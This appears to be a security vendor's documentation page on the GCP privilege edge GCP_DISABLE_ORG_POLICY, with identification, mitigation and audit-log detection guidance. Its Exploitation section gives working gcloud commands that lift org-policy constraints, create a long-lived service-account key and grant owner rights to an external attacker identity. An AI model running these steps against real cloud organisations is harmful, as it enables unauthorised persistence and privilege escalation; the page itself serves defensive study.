Skip to content

GCP_DISABLE_ORG_POLICY

Copy page

Summary

Forestall ACL Alias GCP_DISABLE_ORG_POLICY
GCP Alias Guardrail Bypass & Destruction
Affected Object Types Organizations, Folders, Projects
Exploitation Certainty Certain
Granting Roles roles/orgpolicy.policyAdmin

Description

GCP_DISABLE_ORG_POLICY indicates that an identity can create, modify, or delete Organization Policy constraints on GCP resources. Organization Policies are preventive controls enforced by the GCP platform itself — they restrict what actions can be taken regardless of IAM permissions. A user with the right IAM roles but blocked by an org policy cannot perform the action; disabling the policy removes that guardrail entirely.

This edge is often the key that unlocks other escalation paths. An attacker who is blocked from creating SA keys, adding external identities to IAM, or deploying to unrestricted regions can use GCP_DISABLE_ORG_POLICY to silently lift those restrictions before executing the primary attack.

Key abuse scenarios:

  • Disable constraints/iam.disableServiceAccountKeyCreation → create long-lived SA keys for persistence.
  • Disable constraints/iam.allowedPolicyMemberDomains → add external (non-org) identities to IAM policies.
  • Disable constraints/compute.requireOsLogin → use legacy SSH key-based access to VMs.
  • Disable constraints/gcp.resourceLocations → deploy resources to unrestricted regions for data exfiltration.

Identification

gcloud CLI

# Find who has orgpolicy.policyAdmin at org level
ORG_ID=$(gcloud organizations list --format="value(name)" | head -1)
gcloud organizations get-iam-policy $ORG_ID --format=json | \
jq '.bindings[] | select(.role | test("orgpolicy.policyAdmin")) | {role: .role, members: .members}'
# List all org policies enforced at the organization level
gcloud org-policies list --organization=$ORG_ID \
--format="table(constraint, booleanPolicy.enforced, listPolicy.allValues)"
# List project-level policy overrides
PROJECT_ID="my-project"
gcloud org-policies list --project=$PROJECT_ID \
--format="table(constraint, booleanPolicy.enforced, listPolicy.allValues)"

Exploitation

gcloud CLI

ORG_ID=$(gcloud organizations list --format="value(name)" | head -1)
PROJECT_ID="target-project"
# Disable the SA key creation constraint at project level to enable persistent credentials
cat > /tmp/disable-key-policy.yaml << EOF
name: projects/${PROJECT_ID}/policies/iam.disableServiceAccountKeyCreation
spec:
rules:
- enforce: false
EOF
gcloud org-policies set-policy /tmp/disable-key-policy.yaml
# Create a long-lived SA key (previously blocked by the constraint)
TARGET_SA="high-priv@${PROJECT_ID}.iam.gserviceaccount.com"
gcloud iam service-accounts keys create /tmp/stolen_key.json \
--iam-account=$TARGET_SA

Disable domain restriction to add external identities to IAM:

cat > /tmp/disable-domain-policy.yaml << EOF
name: projects/${PROJECT_ID}/policies/iam.allowedPolicyMemberDomains
spec:
rules:
- allowAll: true
EOF
gcloud org-policies set-policy /tmp/disable-domain-policy.yaml
# Add an external attacker identity to the project IAM policy
gcloud projects add-iam-policy-binding $PROJECT_ID \
--member="user:[email protected]" \
--role="roles/owner"

Compound path: GCP_DISABLE_ORG_POLICY → disable iam.disableServiceAccountKeyCreation → GCP_CREATE_SA_KEYS → long-lived credential persistence on a privileged SA.

Mitigation

  1. Restrict roles/orgpolicy.policyAdmin — assign to at most one dedicated admin account with MFA enforcement; never to developer or automation identities.
  2. Set security-critical constraints at the organization root — project-level overrides can be prevented with constraints/orgpolicy.disableOrgPolicyProtection (where available).
  3. Treat org policy changes as security events — monitor with the same urgency as IAM changes; a policy relaxation often precedes a broader attack.
  4. Review all project-level overrides — any project policy that is less restrictive than the org-level policy should be documented and justified.

Detection

Log Type Method Key Fields
Admin Activity CreatePolicy UpdatePolicy DeletePolicy SetOrgPolicy resource.type=organization/folder/project, constraint name
ORG_ID=$(gcloud organizations list --format="value(name)" | head -1)
gcloud logging read \
'protoPayload.methodName=~"SetOrgPolicy|CreatePolicy|UpdatePolicy|DeletePolicy"' \
--organization=$ORG_ID \
--format="table(timestamp, protoPayload.authenticationInfo.principalEmail, protoPayload.resourceName, protoPayload.request.policy.constraint)"

Alert on:

  • Any CreatePolicy, UpdatePolicy, DeletePolicy, SetOrgPolicy calls that relaxes or resets a security-relevant constraint.
  • Policy changes on constraints related to SA key creation, domain restriction, OS Login, resource locations, or VPC SC.
  • Policy operations by identities outside of the known infrastructure automation pipeline.

References

Was this page helpful?

Thank you for your feedback.